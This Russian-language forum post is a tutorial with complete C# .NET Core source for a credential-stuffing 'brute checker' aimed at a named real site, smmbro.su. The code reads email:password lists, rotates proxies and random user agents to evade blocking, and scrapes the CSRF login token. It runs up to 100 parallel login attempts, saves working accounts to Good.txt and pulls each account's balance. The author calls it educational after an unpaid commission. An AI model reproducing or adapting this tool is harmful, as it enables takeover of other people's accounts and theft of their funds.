Пишем брут чекер на C# net core

Man

Professional
Messages
3,106
Reaction score
666
Points
113
Почему именно c# net core а не Python? На вкус и цвет товарищей нет. Но мне привычнее имено c# так как можно сделать красивый визуал программы через c# WinForm или c# WPF
Во всем коде я сделал комментарии чтобы было более понятно.
Для примера напишем брут чекер на рандомный сайт https://smmbro.su/ не реклама
Писать будем на c# net core.
Первым делом установим необходимые библиотеки через NuGet
1. HtmlAgilityPack- Для парса токенов баланса и т.д
2. System.Net.Http для HTTP запросов (Авторизация и т.д) (Не обязательно устанавливать если пользуетесь VisualStudio то должен подтянуться сам)
3. System.Threading Много поточность (Не обязательно устанавливать если пользуетесь VisualStudio то должен подтянуться сам)

C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using HtmlAgilityPack;

Далее читаем файлы и запускаем в работу некоторые функции в static async Task Main(string[] args)

C#:
static async Task Main(string[] args)
{
string loginUrl = "https://smmbro.su/login";
string loginPassFilePath = "LoginPass.txt";
string proxyFilePath = "Proxy.txt";

// Чтение данных из файлов
string[] loginPassLines = File.ReadAllLines(loginPassFilePath);
string[] proxyLines = File.ReadAllLines(proxyFilePath);

Console.WriteLine($"Загружено строк из файла LoginPass.txt: {loginPassLines.Length}");
Console.WriteLine($"Загружено строк из файла Proxy.txt: {proxyLines.Length}");

// Проверка прокси на валидность
List<string> validProxies = await ValidateProxiesAsync(proxyLines);
Console.WriteLine($"Валидных прокси: {validProxies.Count}");

if (validProxies.Count == 0)
{
Console.WriteLine("Нет валидных прокси. Программа завершена.");
 return;
 }

// Обновляем файл Proxy.txt, оставляя только валидные прокси
File.WriteAllLines(proxyFilePath, validProxies);

int successCount = 0;
int failCount = 0;

// Определяем количество параллельных задач
int maxDegreeOfParallelism = Math.Min(loginPassLines.Length, 100);
SemaphoreSlim semaphore = new SemaphoreSlim(maxDegreeOfParallelism);

List<Task> tasks = new List<Task>();

foreach (string line in loginPassLines)
{
string[] parts = line.Split(':');
if (parts.Length != 2)
{
Console.WriteLine($"Неверный формат строки: {line}");
 continue;
 }

string email = parts[0];
string password = parts[1];

tasks.Add(Task.Run(async () =>
{
await semaphore.WaitAsync();

try
{
bool success = await TryLogin(email, password, loginUrl, validProxies);
if (success)
{
Interlocked.Increment(ref successCount);
File.AppendAllText("Good.txt", $"{email}:{password}\n");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"{email}:{password}  Баланс - {GetBalance(email, password, loginUrl, validProxies)}");
Console.ResetColor();
}
else
{
Interlocked.Increment(ref failCount);
File.AppendAllText("Bad.txt", $"{email}:{password}\n");
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"{email}:{password}  Не удалось войти.");
Console.ResetColor();
}
}
catch (Exception ex)
{
Console.WriteLine($"Ошибка при обработке {email}:{password}: {ex.Message}");
}
finally
{
semaphore.Release();
}
}));
}

Добавляем несколько UserAgent для более корректной работы. и вызываем их рандомно для каждого действия авторизации.

C#:
static string GetRandomUserAgent()
{
var userAgents = new List<string>
{
 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36",
 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0",
 "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.77 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/89.0"
 };

Random random = new Random();
return userAgents[random.Next(userAgents.Count)];
}

Теперь парсим страницу входа для получения токенов (Токены это дополнительныя защита от сайта: Парсим HTML-код, чтобы найти токен
После чего: Подготавливаем данные для отправки формы.
В случае если успешный вход: Парсим HTML-код для проверки баланса
И сохраняем данные.
В коде так же есть проверка прокси на валид конкретно для данного сайта. Эту функцию можете удалить либо изменить строчку 188 на свои данные string testUrl = "https://smmbro.su/"; // Тестовый URL для проверки прокси

C#:
static string GetBalance(string email, string password, string loginUrl, List<string> validProxies)
{
using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
{
// Выбираем случайный User-Agent
Random random = new Random();
string userAgent = GetRandomUserAgent();
client.DefaultRequestHeaders.Add("User-Agent", userAgent);

// Получаем страницу с формой входа
try
{
var response = client.GetAsync(loginUrl).Result;
var content = response.Content.ReadAsStringAsync().Result;

// Парсим HTML-код, чтобы найти токен
var htmlDocument = new HtmlDocument();
htmlDocument.LoadHtml(content);

var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
if (tokenElement == null)
{
return "Баланс не найден.";
 }

string token = tokenElement.GetAttributeValue("value", "");

// Подготавливаем данные для отправки формы
string formData = $"_token={token}&email={email}&password={password}";

// Отправляем POST-запрос для авторизации
var loginResponse = client.PostAsync(loginUrl, new StringContent(formData, Encoding.UTF8, "application/x-www-form-urlencoded")).Result;
var loginContent = loginResponse.Content.ReadAsStringAsync().Result;

// Парсим HTML-код для проверки баланса
var balanceDocument = new HtmlDocument();
balanceDocument.LoadHtml(loginContent);

var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
if (balanceElement != null)
{
return balanceElement.InnerText.Trim();
}
else
{
return "Баланс не найден.";
}
}
catch (HttpRequestException)
{
return "Баланс не найден.";
}
catch (Exception)
{
return "Баланс не найден.";
}
}
}

В строчке 45 устанавливаем количество потоков.
Программа проверяет сколько строчек аккаунтов в файле LoginPass.txt и если менее 100 строчек то запускает столько потоков сколько строчек. Если более 100 строчек запускает работу в 100 потоков. Можете поставить свое значение.

Code:
int maxDegreeOfParallelism = Math.Min(loginPassLines.Length, 100);

В строчке 135 устанавливаем задержку перед парсом. Так как не всегда страница успевает прогрузиться во время. Можно уменьшить до 2х секунд

Code:
cts.CancelAfter(TimeSpan.FromSeconds(10));

Данную программу писал на заказ. Но за нее не заплатили. Поэтому пусть будет образовательный материал.

C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using HtmlAgilityPack;


class Program
{
static async Task Main(string[] args)
{
string loginUrl = "https://smmbro.su/login";
string loginPassFilePath = "LoginPass.txt";
string proxyFilePath = "Proxy.txt";

// Чтение данных из файлов
string[] loginPassLines = File.ReadAllLines(loginPassFilePath);
string[] proxyLines = File.ReadAllLines(proxyFilePath);

Console.WriteLine($"Загружено строк из файла LoginPass.txt: {loginPassLines.Length}");
Console.WriteLine($"Загружено строк из файла Proxy.txt: {proxyLines.Length}");

// Проверка прокси на валидность
List<string> validProxies = await ValidateProxiesAsync(proxyLines);
Console.WriteLine($"Валидных прокси: {validProxies.Count}");

if (validProxies.Count == 0)
{
Console.WriteLine("Нет валидных прокси. Программа завершена.");
 return;
 }

// Обновляем файл Proxy.txt, оставляя только валидные прокси
File.WriteAllLines(proxyFilePath, validProxies);

int successCount = 0;
int failCount = 0;

// Определяем количество параллельных задач
int maxDegreeOfParallelism = Math.Min(loginPassLines.Length, 100);
SemaphoreSlim semaphore = new SemaphoreSlim(maxDegreeOfParallelism);

List<Task> tasks = new List<Task>();

foreach (string line in loginPassLines)
{
string[] parts = line.Split(':');
if (parts.Length != 2)
{
Console.WriteLine($"Неверный формат строки: {line}");
 continue;
 }

string email = parts[0];
string password = parts[1];

tasks.Add(Task.Run(async () =>
{
await semaphore.WaitAsync();

try
{
bool success = await TryLogin(email, password, loginUrl, validProxies);
if (success)
{
Interlocked.Increment(ref successCount);
File.AppendAllText("Good.txt", $"{email}:{password}\n");
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"{email}:{password}  Баланс - {GetBalance(email, password, loginUrl, validProxies)}");
Console.ResetColor();
}
else
{
Interlocked.Increment(ref failCount);
File.AppendAllText("Bad.txt", $"{email}:{password}\n");
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"{email}:{password}  Не удалось войти.");
Console.ResetColor();
}
}
catch (Exception ex)
{
Console.WriteLine($"Ошибка при обработке {email}:{password}: {ex.Message}");
}
finally
{
semaphore.Release();
}
}));
 }

await Task.WhenAll(tasks);

Console.WriteLine($"Успешно вошло: {successCount}");
Console.WriteLine($"Не вошло: {failCount}");
 }

static async Task<bool> TryLogin(string email, string password, string loginUrl, List<string> validProxies)
{
using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
{
// Выбираем случайный User-Agent
Random random = new Random();
string userAgent = GetRandomUserAgent();
client.DefaultRequestHeaders.Add("User-Agent", userAgent);

// Получаем страницу с формой входа
try
{
var response = await client.GetAsync(loginUrl);
var content = await response.Content.ReadAsStringAsync();

// Парсим HTML-код, чтобы найти токен
var htmlDocument = new HtmlDocument();
htmlDocument.LoadHtml(content);

var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
if (tokenElement == null)
{
return false;
 }

string token = tokenElement.GetAttributeValue("value", "");

// Подготавливаем данные для отправки формы
string formData = $"_token={token}&email={email}&password={password}";

// Создаем CancellationTokenSource для ожидания
var cts = new CancellationTokenSource();
cts.CancelAfter(TimeSpan.FromSeconds(10)); // Увеличиваем время ожидания до 10 секунд

try
{
// Отправляем POST-запрос для авторизации
var loginResponse = await client.PostAsync(loginUrl, new StringContent(formData, Encoding.UTF8, "application/x-www-form-urlencoded"), cts.Token);
var loginContent = await loginResponse.Content.ReadAsStringAsync();

// Проверяем успешность авторизации
if (loginResponse.IsSuccessStatusCode)
{
// Добавляем задержку перед проверкой баланса
await Task.Delay(2000); // Задержка в 2 секунды

// Парсим HTML-код для проверки баланса
var balanceDocument = new HtmlDocument();
balanceDocument.LoadHtml(loginContent);

var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
if (balanceElement != null)
{
return true;
}
}
}
catch (OperationCanceledException)
{
return false;
}
catch (HttpRequestException)
{
return false;
}
catch (Exception)
{
return false;
}
}
catch (HttpRequestException)
{
return false;
}
catch (Exception)
{
return false;
 }

return false;
}
 }

static async Task<List<string>> ValidateProxiesAsync(string[] proxyLines)
{
string testUrl = "https://smmbro.su/"; // Тестовый URL для проверки прокси
List<string> validProxies = new List<string>();

// Определяем количество параллельных задач
int maxDegreeOfParallelism = Math.Min(proxyLines.Length, 100);
SemaphoreSlim semaphore = new SemaphoreSlim(maxDegreeOfParallelism);

List<Task> tasks = new List<Task>();

foreach (string proxyLine in proxyLines)
{
tasks.Add(Task.Run(async () =>
{
await semaphore.WaitAsync();

try
{
if (await IsProxyValid(proxyLine, testUrl))
{
validProxies.Add(proxyLine);
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine($"Прокси {proxyLine} валиден.");
Console.ResetColor();
}
else
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"Прокси {proxyLine} невалиден.");
Console.ResetColor();
}
}
catch (HttpRequestException)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"Прокси {proxyLine} невалиден.");
Console.ResetColor();
}
catch (Exception)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine($"Прокси {proxyLine} невалиден.");
Console.ResetColor();
}
finally
{
semaphore.Release();
}
}));
 }

await Task.WhenAll(tasks);

return validProxies;
 }

static async Task<bool> IsProxyValid(string proxyLine, string testUrl)
{
string[] proxyParts = proxyLine.Split(':');

if (proxyParts.Length != 2)
{
return false;
 }

string proxyIp = proxyParts[0];
int proxyPort = int.Parse(proxyParts[1]);

try
{
using (var client = new HttpClient(CreateHandlerWithProxy(new List<string> { proxyLine })))
{
var response = await client.GetAsync(testUrl);
return response.IsSuccessStatusCode;
}
}
catch (HttpRequestException)
{
return false;
}
catch (Exception)
{
return false;
}
 }

static HttpClientHandler CreateHandlerWithProxy(List<string> validProxies)
{
Random random = new Random();
string proxyLine = validProxies[random.Next(validProxies.Count)];
string[] proxyParts = proxyLine.Split(':');

if (proxyParts.Length != 2)
{
throw new ArgumentException($"Invalid proxy format: {proxyLine}");
 }

string proxyIp = proxyParts[0];
int proxyPort = int.Parse(proxyParts[1]);

var handler = new HttpClientHandler
{
Proxy = new WebProxy(new Uri($"http://{proxyIp}:{proxyPort}")),
UseProxy = true
 };

return handler;
 }

static string GetRandomUserAgent()
{
var userAgents = new List<string>
{
 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36",
 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
 "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0",
 "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0",
 "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.77 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/89.0"
 };

Random random = new Random();
return userAgents[random.Next(userAgents.Count)];
 }

static string GetBalance(string email, string password, string loginUrl, List<string> validProxies)
{
using (var client = new HttpClient(CreateHandlerWithProxy(validProxies)))
{
// Выбираем случайный User-Agent
Random random = new Random();
string userAgent = GetRandomUserAgent();
client.DefaultRequestHeaders.Add("User-Agent", userAgent);

// Получаем страницу с формой входа
try
{
var response = client.GetAsync(loginUrl).Result;
var content = response.Content.ReadAsStringAsync().Result;

// Парсим HTML-код, чтобы найти токен
var htmlDocument = new HtmlDocument();
htmlDocument.LoadHtml(content);

var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");
if (tokenElement == null)
{
return "Баланс не найден.";
 }

string token = tokenElement.GetAttributeValue("value", "");

// Подготавливаем данные для отправки формы
string formData = $"_token={token}&email={email}&password={password}";

// Отправляем POST-запрос для авторизации
var loginResponse = client.PostAsync(loginUrl, new StringContent(formData, Encoding.UTF8, "application/x-www-form-urlencoded")).Result;
var loginContent = loginResponse.Content.ReadAsStringAsync().Result;

// Парсим HTML-код для проверки баланса
var balanceDocument = new HtmlDocument();
balanceDocument.LoadHtml(loginContent);

var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
if (balanceElement != null)
{
return balanceElement.InnerText.Trim();
}
else
{
return "Баланс не найден.";
}
}
catch (HttpRequestException)
{
return "Баланс не найден.";
}
catch (Exception)
{
return "Баланс не найден.";
}
}
}
}

Подведем итог. В большинстве случаев авторизация будет такая же как в примере. Единственное вам прийдется спарсить токен заново это меняется в строчке

Code:
var tokenElement = htmlDocument.DocumentNode.SelectSingleNode("//input[@name='_token']");

Для парса баланса изменить строчку 153

Code:
var balanceElement = balanceDocument.DocumentNode.SelectSingleNode("//p[@id='balance' and @style='display: inline']");
 
Top